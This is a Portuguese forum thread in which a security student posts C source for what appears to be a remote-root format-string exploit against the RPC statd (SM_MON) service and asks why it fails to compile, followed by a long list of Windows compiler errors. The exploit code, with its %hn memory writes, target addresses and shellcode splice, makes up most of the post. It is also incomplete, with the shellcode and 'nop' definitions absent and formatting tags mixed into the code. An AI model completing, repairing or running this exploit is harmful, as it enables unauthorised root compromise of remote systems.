Ir para conteúdo
Fórum Script Brasil
  • 0

Segurança(Compilação de Exploit)


p4p4g41o@v3rd3

Pergunta

Galera primeira vez que posto aqui se refereindo a C, conheço de C não profundamente mas já fiz algumas coisas, já compilei e rodei.

Meu curso de Redes e Segurança tem a cadeira de Auditoria e usa esse código aqui para testar uma falha, mas ele não está comílando dá alguns erros de compilação, n sei se o DEV não encontra bibliotecas, ou se eu não devo ter as bibliotecas ou algo diferente disso, não sei se é isso exatamente , ou se o DEV é diferente a sintaxe do compilador , porque tem ns return diferente, uns inteiro diferente , não sei , coloco aqui o codigo :

Quem quiser compilar ai e ver porque image vai ser peso...

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
  printf("Usage: %s host [-nopoke]\n", s);
  exit(0);
}

extern char shell[];

main(int argc, char *argv[]) {
  [color="#FF0000"][b]CLIENT *cl;[/b][/color]
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop), nopoke=0;
  char *ptr=code, *p2, code[4096];

  if (argc < 2)
    usage(argv[0]);
  if (argc > 2)
    nopoke = 1;

  /* Alignment */
  strcpy(ptr, "AAA");
  ptr += strlen(ptr);
  
  /* Target to write to! */
  *(unsigned long *)(ptr) = 0x7fffeb04;
  ptr += sizeof(unsigned long);
  
  /* pad */
  *(unsigned long *)(ptr) = 0x11111111;
  ptr += sizeof(unsigned long);

  /* Target Two (two higher in memory probably) */
  *(unsigned long *)(ptr) = 0x7fffeb06;
  ptr += sizeof(unsigned long);
  
  for(i = 0; i < 46-1; i++) {
    strcpy(ptr, "%12d");
    ptr += strlen(ptr);
  }

if(!nopoke) {
  /* Value to write - amount written */
  /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */
  /* Don't correct for IP address!  Forced to localhost by stat code - same length. */
#define HIGH 0x7fff
#define LOW 0xeecc
  sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
        - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
  ptr += strlen(ptr);

  sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
  ptr += strlen(ptr);

  /* CODE */
  p2 = shell;
  while(*p2)
    *(ptr++) = *(p2++);
}
  *(ptr++) = 0;

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name="localhost";
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name= code  /*code*/;

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}

O Que é que falta aqui?

Link para o comentário
Compartilhar em outros sites

2 respostass a esta questão

Posts Recomendados

  • 0

Ai amigo, olha só os bug que deram.... vê se me ajuda ai , preciso de uma nota razoavel até dia 12....

Compiler: Default compiler

Executing gcc.exe...

gcc.exe "C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c" -o "C:\Documents and Settings\usuario\Desktop\Opa\EXPLOITS\remote-root-exploit.exe" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:23:19: netdb.h: No such file or directory

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:24:21: rpc/rpc.h: No such file or directory

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:25:29: rpcsvc/sm_inter.h: No such file or directory

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:26:24: sys/socket.h: No such file or directory

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c: In function `main':

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:36: error: `CLIENT' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:36: error: (Each undeclared identifier is reported only once

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:36: error: for each function it appears in.)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:36: error: `cl' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:37: error: storage size of 'stat' isn't known

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:39: error: storage size of 'monreq' isn't known

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:40: error: storage size of 'monres' isn't known

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:42: error: storage size of 'target' isn't known

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:43: error: `nop' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:44: error: `code' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:99: warning: assignment makes pointer from integer without a cast

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:103: error: `AF_INET' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:104: error: `u_long' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\\remote-root-exploit.c:104: error: syntax error before ')' token

C:\Documents and Settings\usuario\Desktop\Opa\\remote-root-exploit.c:106: error: `RPC_ANYSOCK' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:110: error: `SM_PROG' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:110: error: `SM_VERS' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:114: error: `SM_MON' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:114: error: `xdr_mon' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\remote-root-exploit.c:114: error: `xdr_sm_stat_res' undeclared (first use in this function)

C:\Documents and Settings\usuario\Desktop\Opa\\remote-root-exploit.c:116: error: `RPC_SUCCESS' undeclared (first use in this function)

Execution terminated

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,8k
×
×
  • Criar Novo...